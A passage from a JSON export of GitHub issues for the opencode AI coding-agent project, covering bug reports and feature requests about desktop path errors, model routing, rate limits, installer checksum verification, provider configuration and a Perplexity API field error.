        "text": "### Description I'm experiencing an error when trying to open files/projects using the tabs/buttons in the OpenCode desktop app. The operation fails with the following error: Copy Request failed Error invoking remote method 'open-path': Error: spawn [object Promise] ENOENT Environment Details: App: OpenCode Desktop Application Location: ~\\Desktop\\game\\cleaning-business (Windows) OS: Windows 11 (inferred from UI and taskbar) Issue Explanation: When clicking the tabs/buttons to open projects or files in the desktop app, the \"open-path\" method fails. The error indicates: A spawn function was called but couldn't locate or execute the target ENOENT = \"Error NO ENTry\" - the system cannot find the file/program specified Possible Causes: Path contains special characters or format that's not properly escaped (e.g., space in \"cleaning-business\") The spawn function is expecting a string but received a Promise object instead Permissions issue with accessing the file/folder OpenCode desktop app misconfigured to handle Windows paths correctly Expected Behavior: Clicking on project tabs should open them in the default file viewer or VS Code (or whatever configured). Instead, it throws an error immediately. Steps to Reproduce: Launch OpenCode Desktop App Navigate to the \"cleaning-business\" project folder Try clicking any tab/button to open a file/project Observe error popup in bottom-right corner Additional Context: The directory appears to have HTML files (index.html, about.html, etc.) Git integration option is visible but not yet enabled User confirms they're trying from within the desktop app UI, not via CLI I'd appreciate help fixing this issue so I can open projects properly through the desktop app. ### Plugins none git and nodejs installed ### OpenCode version OpenCode Desktop v1.14.50 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/27481",
        "createdAt": "2026-05-14T08:11:16Z",
        "updatedAt": "2026-08-13T03:23:43Z",
        "timestamp": "2026-08-13T03:23:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "Andresch1966",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:27712",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "I use deepseek-v4-flash on Hermes agents, with no glm-5, but glm-5 is being used according to the Usage page",
        "text": "### Description ## Summary I use `deepseek-v4-flash` for Hermes agents and have no `glm-5` configured. But the Usage page shows both `glm-5` and `deepseek-v4-flash` being used. ## Expected Only configured models should be shown, and the Usage page should show the exact model used, not unused models. ## Actual The Usage page shows `glm-5`, and it is not clear which configured key is mapped to it. ## Environment - Provider: `opencode go` - Model used: `deepseek-v4-flash` - Agents: Hermes agents - `glm-5`: not used ## Additional Context This behavior is surprising and appears to indicate a model routing issue. ### Plugins _No response_ ### OpenCode version opencode go ### Steps to reproduce 1. Configure Hermes agents to use **only** `deepseek-v4-flash`. 2. Send a normal request through the Hermes agents. 3. Open the Usage page on opencode.ai. 4. Observe `glm-5` appears as used, even though only `deepseek-v4-flash` is configured. ### Screenshot and/or share link <img width=\"1721\" height=\"1079\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/52ca8e90-bc13-4bea-ba15-f1c25d4f24cf\" /> ### Operating System Windows 11 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/27712",
        "createdAt": "2026-05-15T10:15:01Z",
        "updatedAt": "2026-08-13T06:25:45Z",
        "timestamp": "2026-08-13T06:25:45Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "BlueBirdBack",
        "state": "open",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:29912",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Too many requests on Xiaomi MimoV2.5",
        "text": "### Description I keep getting ```bash ⚠️ API call failed (attempt 1/3): RateLimitError [HTTP 429] 🔌 Provider: opencode-go Model: mimo-v2.5 🌐 Endpoint: https://opencode.ai/zen/go/v1 📝 Error: HTTP 429: Error from provider (Xiaomi): Too many requests 📋 Details: {'code': '429', 'message': 'Error from provider (Xiaomi): Too many requests', 'type': 'limitation'} ``` when using this model even tho I haven't used up all my subscription limits, it works sometimes but comes back, and I only get this error on this model. I wanted to use it instead of deepseek for its vision capabilities. I tried reaching over Discord but got no answer. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/29912",
        "createdAt": "2026-05-29T17:18:53Z",
        "updatedAt": "2026-08-13T02:52:48Z",
        "timestamp": "2026-08-13T02:52:48Z",
        "metrics": {
          "reactions": 5,
          "comments": 4
        },
        "labels": [],
        "author": "dave-niqera",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:30519",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Allow custom provider models to reference official model definitions from Models.dev",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I am about to request hasn't been suggested before. ### Describe the enhancement you want to request **TL;DR**: Allow a model in a custom provider to reference/alias an official model definition from Models.dev by ID, so limit, modalities, reasoning, interleaved, cost, etc. are inherited automatically without manual duplication. --- #### Problem Many users run self-hosted gateways or proxies (e.g. LiteLLM, OpenRouter-style routers, or enterprise AI hubs) that re-expose models already cataloged in Models.dev under providers like `zai`, `moonshotai`, `minimax`, `anthropic`, etc. Currently, every custom provider that offers these models must **manually re-specify** all model metadata: ```jsonc { \"provider\": { \"my-gateway\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"http://my-gateway.example.com/api/v1\" }, \"models\": { \"glm-5.1\": { \"name\": \"GLM-5.1\", \"reasoning\": true, \"tool_call\": true, \"temperature\": true, \"attachment\": false, \"interleaved\": { \"field\": \"reasoning_content\" }, \"modalities\": { \"input\": [\"text\"], \"output\": [\"text\"] }, \"limit\": { \"context\": 200000, \"output\": 131072 } }, \"kimi-k2.6\": { \"name\": \"Kimi-K2.6\", \"reasoning\": true, \"tool_call\": true, \"temperature\": true, \"attachment\": true, \"modalities\": { \"input\": [\"text\", \"image\"], \"output\": [\"text\"] }, \"limit\": { \"context\": 262144, \"output\": 131072 } }, \"MiniMax-M2.7\": { \"name\": \"MiniMax-M2.7\", \"reasoning\": true, \"tool_call\": true, \"temperature\": true, \"modalities\": { \"input\": [\"text\"], \"output\": [\"text\"] }, \"limit\": { \"context\": 204800, \"output\": 131072 } } } } } } ``` When the same models appear under multiple custom providers, all metadata is duplicated. This is error-prone and drifts out of sync with upstream model updates. #### Suggested behavior Add a way for a model in a custom provider to **reference** an official model definition. Proposed syntax options: **Option A — `ref` field (model-level reference)** ```jsonc { \"provider\": { \"my-gateway\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"http://my-gateway.example.com/api/v1\" }, \"models\": { \"glm-5.1\": { \"ref\": \"zai/glm-5.1\" }, \"kimi-k2.6\": { \"ref\": \"moonshotai/kimi-k2.6\" }, \"MiniMax-M2.7\": { \"ref\": \"minimax/MiniMax-M2.7\" } } } } } ``` **Option B — use `id` to auto-resolve from global Models.dev index** If a model `id` matches a known model in any Models.dev provider, automatically hydrate metadata: ```jsonc { \"provider\": { \"my-gateway\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"http://my-gateway.example.com/api/v1\" }, \"models\": { \"glm-5.1\": {}, // auto-resolved from zai/glm-5.1 in Models.dev \"kimi-k2.6\": {}, // auto-resolved from moonshotai/kimi-k2.6 \"MiniMax-M2.7\": {} // auto-resolved from minimax/MiniMax-M2.7 } } } } ``` In both options, explicit user config fields should take precedence over the referenced definition (deep merge with user wins). #### Benefits 1. **DRY** — no more duplicating limit, modalities, reasoning, interleaved, cost across custom providers. 2. **Accuracy** — metadata stays in sync with Models.dev as upstream providers update specs. 3. **Ergonomics** — adding a model to a custom gateway becomes a one-liner instead of a 10-line block. #### Related - #25407 — Requests auto-hydration from `/v1/models` endpoint (complementary but different: that issue is about runtime discovery, this issue is about static config referencing). - #22253 — Custom provider models crash when `limit` is not defined (this would also be mitigated by auto-hydration from Models.dev). - #18486 — Custom providers do not inherit provider loaders (related inheritance gap).",
        "url": "https://github.com/anomalyco/opencode/issues/30519",
        "createdAt": "2026-06-03T07:42:49Z",
        "updatedAt": "2026-08-13T01:37:52Z",
        "timestamp": "2026-08-13T01:37:52Z",
        "metrics": {
          "reactions": 1,
          "comments": 4
        },
        "labels": [],
        "author": "gzb1128",
        "state": "closed",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:31137",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Web UI] \"Auto-accept permissions\" button is disabled when \"New layout and design\" is enabled.",
        "text": "### Description <img width=\"2112\" height=\"1247\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/7687cefd-2438-488c-b846-5a0fa49a01cc\" /> \"Auto-accept permissions\" button is disabled when \"New layout and design\" is enabled. The button works perfectly fine in the default (classic) layout. <img width=\"2085\" height=\"1242\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8dbc2fa4-048a-46e5-bc73-76bbee829f3f\" /> It appears that in the new layout, the settings page fails to associate with a specific project. As a result, the \"Auto-accept permissions\" button lacks the necessary project context and cannot identify which project it belongs to, causing it to malfunction. ### Plugins none ### OpenCode version 1.16.0 ### Steps to reproduce \"Auto-accept permissions\" button is disabled when \"New layout and design\" is enabled. The button works perfectly fine in the default (classic) layout. ### Screenshot and/or share link <img width=\"2112\" height=\"1247\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/7687cefd-2438-488c-b846-5a0fa49a01cc\" /> <img width=\"2085\" height=\"1242\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8dbc2fa4-048a-46e5-bc73-76bbee829f3f\" /> ### Operating System Windows 11 ### Terminal Windows Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/31137",
        "createdAt": "2026-06-06T17:20:25Z",
        "updatedAt": "2026-08-13T12:43:41Z",
        "timestamp": "2026-08-13T12:43:41Z",
        "metrics": {
          "reactions": 6,
          "comments": 4
        },
        "labels": [],
        "author": "Billyism",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:31344",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: RTL support for Arabic chat text",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request **OpenCode doesn't support RTL (Right-to-Left) text direction for Arabic or Persian.** When users write in Arabic, the chat display shows text incorrectly, making it hard to read and write. **Please** add RTL support for: - User messages in Persian/Arabic - AI responses containing Persian/Arabic text - Auto-detection of text direction This would help millions of developers in Middle East who use OpenCode daily.",
        "url": "https://github.com/anomalyco/opencode/issues/31344",
        "createdAt": "2026-06-08T10:08:10Z",
        "updatedAt": "2026-08-13T12:47:34Z",
        "timestamp": "2026-08-13T12:47:34Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "mohammad-ahw",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:31387",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Add version input to the GitHub action",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Add an optional `version` input to `anomalyco/opencode/github`. The install script (`https://opencode.ai/install`) already supports `--version` to install a specific release: ``` curl -fsSL https://opencode.ai/install | bash -s -- --version 1.0.180 ``` But the GitHub action (`github/action.yml`) always installs the latest release via `curl -fsSL https://opencode.ai/install | bash`, even when the action itself is pinned to a commit SHA. The install step runs in the same composite action step as `opencode github run` (which receives caller secrets), so callers who want supply-chain hardening have no way to pin the binary independently of the action revision. ### Describe the solution you'd like ```yaml inputs: opencode_version: description: 'OpenCode version to install (e.g., 1.0.180). Defaults to latest.' required: false ``` When set: - The install step uses `--version ${{ inputs.opencode_version }}`. - The cache key uses the pinned version directly instead of querying the latest release API.",
        "url": "https://github.com/anomalyco/opencode/issues/31387",
        "createdAt": "2026-06-08T16:46:25Z",
        "updatedAt": "2026-08-13T02:53:20Z",
        "timestamp": "2026-08-13T02:53:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "xlionjuan",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:31390",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Add SHA256 checksum verification to the install script",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Add SHA256 checksum verification to the install script (`install`). The script downloads binary archives from GitHub Releases and extracts them, but performs no integrity check after download. The only verification is a `curl -sI` check that the release tag exists — it does not confirm the downloaded content hasn't been tampered with. A compromised GitHub account, CDN MITM, or release asset substitution would go undetected; the binary is extracted and run without any checksum or signature check. ### Why this is feasible now GitHub Releases API already returns a `digest` field for every uploaded asset (announced June 2025). For example: ```sh $ curl -sL https://api.github.com/repos/anomalyco/opencode/releases/latest \\ | jq -r '.assets[] | \"\\(.name) \\(.digest)\"' opencode-linux-x64.tar.gz sha256:9d4c1e267d8f7b6a5a3c2f8e1b7d9c4a6f3e8b1d7c5a9f2e4d6b8c0a7e5f3c1 opencode-darwin-arm64.zip sha256:01585ff4d15820bd3a878e4bc7cacfb1ea75e236d1fed8c2f5f3595edc8b7ab5 ... ``` No separate `.sha256` files need to be published — the checksums are already there. Combined with [immutable releases](https://docs.github.com/en/code-security/concepts/supply-chain-security/immutable-releases) (already suggested in #19255), this gives callers a complete chain: a tag that cannot be overwritten, and content that can be verified against the API before execution. ### Describe the solution you'd like In the install script, after downloading the archive but before extracting, fetch the expected digest via the API and verify it locally: ```bash # After successful download, before tar/unzip expected=$(curl -sfL \"https://api.github.com/repos/anomalyco/opencode/releases/tags/v${specific_version}\" \\ | jq -r \".assets[] | select(.name==\\\"$filename\\\") | .digest\" \\ | sed 's/^sha256://') if [ -n \"$expected\" ]; then actual=$(sha256sum \"$tmp_dir/$filename\" | cut -d' ' -f1) if [ \"$actual\" != \"$expected\" ]; then echo \"Checksum mismatch for $filename\" echo \" expected: $expected\" echo \" actual: $actual\" exit 1 fi fi ``` The latest-release path (no `--version`) would use the same `releases/latest` endpoint. ### Describe alternatives you've considered - **Do nothing** — callers who want integrity must use `--binary` with a pre-verified binary, which defeats the purpose of a download-and-run installer. - **Publish separate `.sha256` files** — unnecessary now that the API provides digests natively. - **GPG signatures** — stronger but adds key management complexity. Checksums via the API are a practical starting point.",
        "url": "https://github.com/anomalyco/opencode/issues/31390",
        "createdAt": "2026-06-08T16:57:30Z",
        "updatedAt": "2026-08-13T02:53:19Z",
        "timestamp": "2026-08-13T02:53:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "xlionjuan",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:31657",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:Clear session context without creating a new session",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Problem Currently, /new (alias /clear) creates a brand new session with a new session ID. In Claude Code, /clear stays in the same session but clears the conversation context/history, allowing a fresh start without losing the session identity. Proposed Solution Add a command that: 1. Clears all messages in the current session 2. Keeps the same session ID 3. Results in an empty conversation, ready for a new prompt Use Case When working on a task and the conversation gets too long or off-track, I want to reset the context without switching to a completely new session. This is useful for: - Keeping session continuity (same session ID for sharing/history) - Quickly starting fresh without the overhead of creating a new session - Matching the workflow of Claude Code users Alternatives Considered - /compact — summarizes but doesn't truly clear context - /new — works but creates a new session, losing session identity Additional Context This is a standard feature in Claude Code and would greatly improve the workflow for users migrating from or using both tools.",
        "url": "https://github.com/anomalyco/opencode/issues/31657",
        "createdAt": "2026-06-10T10:08:06Z",
        "updatedAt": "2026-08-13T17:07:04Z",
        "timestamp": "2026-08-13T17:07:04Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "ouyangfangyuan",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:31734",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Include ripgrep in binary builds (windows, win-x64) for offline environments",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request When using OpenCode for Windows (Desktop or EXE) in an offline environment you get the error ```Transport error get (GET https://github.com/BurntSushi/ripgrep/releases/download/15.1.0/ripgrep-15.1.0-x86_64-pc-windows-msvc.zip)``` when opencode tries to use the glob tool. It would be nice to have ripgrep included in the .exe and in the desktop version if possible.",
        "url": "https://github.com/anomalyco/opencode/issues/31734",
        "createdAt": "2026-06-10T17:30:10Z",
        "updatedAt": "2026-08-12T15:40:48Z",
        "timestamp": "2026-08-12T15:40:48Z",
        "metrics": {
          "reactions": 5,
          "comments": 4
        },
        "labels": [],
        "author": "TheMasterFX",
        "state": "open",
        "assignees": [
          "Hona"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:31960",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "ACP: Zed: Doesn't broadcast how big the context is, and how full it currently is.",
        "text": "### Description OpenCode's ACP support, tested through Zed, after installing OpenCode as an external agent, doesn't broadcast how big the context is, and how full it currently is, whereas other agents do. I'm not an expert in ACP, but I think this is what it should send: https://agentclientprotocol.com/rfds/session-usage#session-context-size-and-cost example: Zed's Claude Sonnet: <img width=\"297\" height=\"154\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/16864ba1-d8df-4242-9761-2584ce333aa4\" /> Vs with OpenCode: <img width=\"422\" height=\"114\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a8c24990-9cdf-4dff-8f8f-ec84e0be70d8\" /> ### Plugins N/A ### OpenCode version 1.17.3 ### Steps to reproduce Install the external agent in Zed. See screenshots from description. ### Screenshot and/or share link In Description. ### Operating System Fedora Linux 44 KDE Plasma Version: 6.6.5 KDE Frameworks Version: 6.26.0 Qt Version: 6.11.1 Kernel Version: 7.0.9-205.fc44.x86_64 (64-bit) ### Terminal Zed editor's ACP integration. but otherwise I use Konsole.",
        "url": "https://github.com/anomalyco/opencode/issues/31960",
        "createdAt": "2026-06-11T21:32:09Z",
        "updatedAt": "2026-08-13T11:05:01Z",
        "timestamp": "2026-08-13T11:05:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "KraXen72",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:31961",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "ACP: Zed: Deepseek V4 Flash Free doesn't consistently broadcast reasoning effort",
        "text": "### Description Deepseek V4 Flash Free doesn't consistently broadcast reasoning effort: When I open zed, External agents, Opencode, I have it set to Deepseek V4 Flash Free. However, initially, I don't see the reasoning level select. I have to select a different model and then select Deepseek back to see it. Before: <img width=\"781\" height=\"181\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/25045f9c-9622-497d-b854-f19f9f8d60ea\" /> After: <img width=\"783\" height=\"165\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/85025464-b9a2-49dc-858f-055090d85203\" /> ### Plugins N/A ### OpenCode version 1.17.3 ### Steps to reproduce Install the external agent in Zed. See screenshots from description. ### Screenshot and/or share link In Description. ### Operating System Fedora Linux 44 KDE Plasma Version: 6.6.5 KDE Frameworks Version: 6.26.0 Qt Version: 6.11.1 Kernel Version: 7.0.9-205.fc44.x86_64 (64-bit) ### Terminal Zed editor's ACP integration. but otherwise I use Konsole.",
        "url": "https://github.com/anomalyco/opencode/issues/31961",
        "createdAt": "2026-06-11T21:32:12Z",
        "updatedAt": "2026-08-13T11:04:38Z",
        "timestamp": "2026-08-13T11:04:38Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "KraXen72",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:31962",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "gpt-5.5 does not work",
        "text": "### Description gpt-5.5 isn't working, I have the Plus plan <img width=\"845\" height=\"133\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/77832a56-66be-43b8-82b8-cd4e10a1bb16\" /> <img width=\"842\" height=\"190\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/c664991d-8568-40d1-93f3-cb3d1d78e03a\" /> ### Plugins No ### OpenCode version latest ### Steps to reproduce Just send a message with gpt-5.5 model ### Screenshot and/or share link <img width=\"845\" height=\"133\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/91e82496-3d0c-404c-b26a-3760943507f0\" /> <img width=\"842\" height=\"190\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/dcd6ab71-0271-470f-9312-fdf7ed68f074\" /> ### Operating System macOS Tahoe 26.4.1 ### Terminal Warp",
        "url": "https://github.com/anomalyco/opencode/issues/31962",
        "createdAt": "2026-06-11T21:45:19Z",
        "updatedAt": "2026-08-13T02:53:08Z",
        "timestamp": "2026-08-13T02:53:08Z",
        "metrics": {
          "reactions": 3,
          "comments": 5
        },
        "labels": [],
        "author": "MrUprizing",
        "state": "closed",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:31999",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Too many thought messages with MiniMax-M3",
        "text": "### Description When I use minimax-m3 - opencode doesn't collapse all thinking chunks into one - each think is ~3-4ms. The final answer is not in the end of the message and might be somewhere in the middle. <img width=\"453\" height=\"422\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/24bfc092-cc10-4a71-83ec-eca129d8063c\" /> Each chunk looks like this <img width=\"1629\" height=\"816\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a50df0d7-70ef-4260-a2c3-1cb34c3c238f\" /> ### Plugins oh-my-openagent ### OpenCode version 0.17.4 ### Steps to reproduce 1. run any request to MiniMax-M3 2. get the issue ### Screenshot and/or share link _No response_ ### Operating System Windows 10 ### Terminal Windows Terminal with powershell",
        "url": "https://github.com/anomalyco/opencode/issues/31999",
        "createdAt": "2026-06-12T06:31:56Z",
        "updatedAt": "2026-08-13T02:52:57Z",
        "timestamp": "2026-08-13T02:52:57Z",
        "metrics": {
          "reactions": 3,
          "comments": 5
        },
        "labels": [],
        "author": "BEEugene",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32091",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: allow `--single` to accept an optional platform target",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request - [x] I have verified this feature does not already exist in the issue tracker. **Problem** The build script (`script/build.ts`) only supports `--single` to build for the current platform. Cross-compiling for a different platform (e.g. building `linux-arm64` from macOS) requires either building all 14 targets or editing the source file to narrow `allTargets`. **Proposed approach** https://github.com/charlesverge/opencode/pull/1 Make `--single` accept an optional value like `--single linux-arm64` or `--single win32`. Without an argument it keeps the existing behavior (current platform). The value is parsed as `<os>[-<arch>[-<variant>]]` and matched against the target definitions. Valid examples: | Command | Builds | |---|---| | `--single` | current platform, native variant | | `--single linux-arm64` | Linux ARM64 (glibc) | | `--single linux-arm64-musl` | Linux ARM64 (musl) | | `--single linux-x64` | Linux x64 (glibc) | | `--single linux-x64-musl` | Linux x64 (musl) | | `--single linux-x64-baseline` | Linux x64 baseline/SSE | | `--single linux-x64-musl-baseline` | Linux x64 musl baseline | | `--single darwin` | all macOS variants | | `--single win32` | all Windows variants | The implementation adds ~30 lines of matching logic to `packages/opencode/script/build.ts` and a usage comment at the top of the file. **Why it belongs in OpenCode** Developers who need to test platform-specific builds or deploy to remote machines (Linux ARM64 servers, etc.) currently have no ergonomic way to build a single cross-compiled target. This is a small change to the existing build entrypoint with no effect on CI or release workflows.",
        "url": "https://github.com/anomalyco/opencode/issues/32091",
        "createdAt": "2026-06-12T18:54:35Z",
        "updatedAt": "2026-08-12T15:40:44Z",
        "timestamp": "2026-08-12T15:40:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "charlesverge",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:32106",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: add Ads integration",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request For context https://x.com/andrewmccalip/status/2065049432652189933?s=20 Currently with kickback brands face a disadvantage that even after 10k impressions they get 0 conversions since the ad being shown is not context aware (what user is talking with llm). Coz like social media ads the companies show the ad to relevant users not like kickback a random ad to a random user. What opencode can do is have a enable/disable ad command to let user choose if they want ads or not. And a interface for brands to create campaigns, and a logic to connect users going on conversation with that's llm to related ad campaign. We can have 2 advantages here: 1. Businesses will prefer us as we show there ads in a context so there impressions doesn't gets wasted 2. Users may switch from Claude/codex cli to us because of this feat as those are big comme knpanies, we have advantage to ship faster before them. Let me know if you guys liked the idea I would like contribute to this feature or handle everything alone!",
        "url": "https://github.com/anomalyco/opencode/issues/32106",
        "createdAt": "2026-06-12T20:39:19Z",
        "updatedAt": "2026-08-13T02:53:04Z",
        "timestamp": "2026-08-13T02:53:04Z",
        "metrics": {
          "reactions": 7,
          "comments": 6
        },
        "labels": [],
        "author": "Sahil-Gupta584",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32108",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Perplexity Agent provider fails with `unknown field \"store\"` on `/v1/responses`",
        "text": "### Description The built-in `perplexity-agent` provider is currently failing on Opencode `1.17.4`. Any request to a Perplexity Agent model fails with: ``` AI_APICallError: invalid request body: json: unknown field \"store\" ``` I verified that the Perplexity Agent /v1/responses endpoint works if OpenAI-specific fields are omitted, but fails when fields such as store, temperature, include, or tool_choice are present. The built-in provider appears to use the OpenAI AI SDK adapter: provider: perplexity-agent api.package: @ai-sdk/openai api.url: https://api.perplexity.ai/v1 That adapter sends OpenAI Responses API fields that Perplexity Agent API now rejects. I have now local workaround only: a custom plugin that strips unsupported fields from requests to https://api.perplexity.ai/v1/responses makes the provider work again, but this should be fixed upstream: ```javascript const unsupportedFields = [\"store\", \"temperature\", \"include\", \"tool_choice\"] function sanitizeBody(body: unknown) { if (typeof body !== \"string\") return body try { const json = JSON.parse(body) for (const field of unsupportedFields) delete json[field] return JSON.stringify(json) } catch { return body } } export default async () => { const fetchKey = Symbol.for(\"opencode.perplexityAgentSanitizeFetch\") const global = globalThis as typeof globalThis & { [fetchKey]?: true } if (!global[fetchKey]) { const originalFetch = globalThis.fetch.bind(globalThis) globalThis.fetch = async (input, init) => { const url = typeof input === \"string\" || input instanceof URL ? input.toString() : input.url if (!url.startsWith(\"https://api.perplexity.ai/v1/responses\")) { return originalFetch(input, init) } if (init?.body) { return originalFetch(input, { ...init, body: sanitizeBody(init.body) as BodyInit }) } if (input instanceof Request) { const body = sanitizeBody(await input.clone().text()) return originalFetch(new Request(input, { body: body as BodyInit }), init) } return originalFetch(input, init) } global[fetchKey] = true } return {} } ``` ### Plugins None relevant. I also reproduced this with plugins disabled / without my local workaround. ### OpenCode version 1.17.4 ### Steps to reproduce 1. Configure/authenticate the built-in `perplexity-agent` provider. 2. Run: ```bash opencode run \"Reply with exactly: ok\" \\ --model \"perplexity-agent/anthropic/claude-opus-4-6\" \\ --print-logs \\ --log-level DEBUG ``` 3. Observe the failure: AI_APICallError: invalid request body: json: unknown field \"store\" Additional direct API check: This succeeds: ```bash curl -sS -X POST \"https://api.perplexity.ai/v1/responses\" \\ -H \"Authorization: Bearer $PERPLEXITY_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"model\": \"anthropic/claude-opus-4-6\", \"input\": [ { \"role\": \"user\", \"content\": [ { \"type\": \"input_text\", \"text\": \"Reply exactly: ok\" } ] } ], \"stream\": false, \"max_output_tokens\": 16 }' ``` This fails: ```bash curl -sS -X POST \"https://api.perplexity.ai/v1/responses\" \\ -H \"Authorization: Bearer $PERPLEXITY_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"model\": \"anthropic/claude-opus-4-6\", \"input\": [ { \"role\": \"user\", \"content\": [ { \"type\": \"input_text\", \"text\": \"Reply exactly: ok\" } ] } ], \"stream\": false, \"max_output_tokens\": 16, \"store\": false }' ``` Response: ```json { \"error\": { \"message\": \"invalid request body: json: unknown field \\\"store\\\"\", \"type\": \"invalid_request\", \"code\": 400, \"param\": \"store\" } } ``` I also observed the same class of error for: temperature include tool_choice Expected behavior: 